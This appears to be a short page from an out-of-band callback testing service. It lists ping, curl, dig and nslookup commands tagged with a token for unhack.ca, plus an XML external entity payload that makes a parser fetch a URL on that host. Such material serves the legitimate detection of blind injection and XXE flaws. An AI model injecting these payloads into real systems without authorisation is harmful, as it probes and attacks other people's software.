$ ping -c1 -p 00ff51ce67d0ebd8306a22dd5481bf00 unhack.ca
 

$ curl http://unhack.ca/p/ff51ce67d0ebd8306a22dd5481bf
 

$ dig ff51ce67d0ebd8306a22dd5481bf @unhack.ca
 

$ dig ff51ce67d0ebd8306a22dd5481bf.ns.unhack.ca
 

C:\> nslookup ff51ce67d0ebd8306a22dd5481bf unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ff51ce67d0ebd8306a22dd5481bf">]>
    <foo>&xxe;</foo>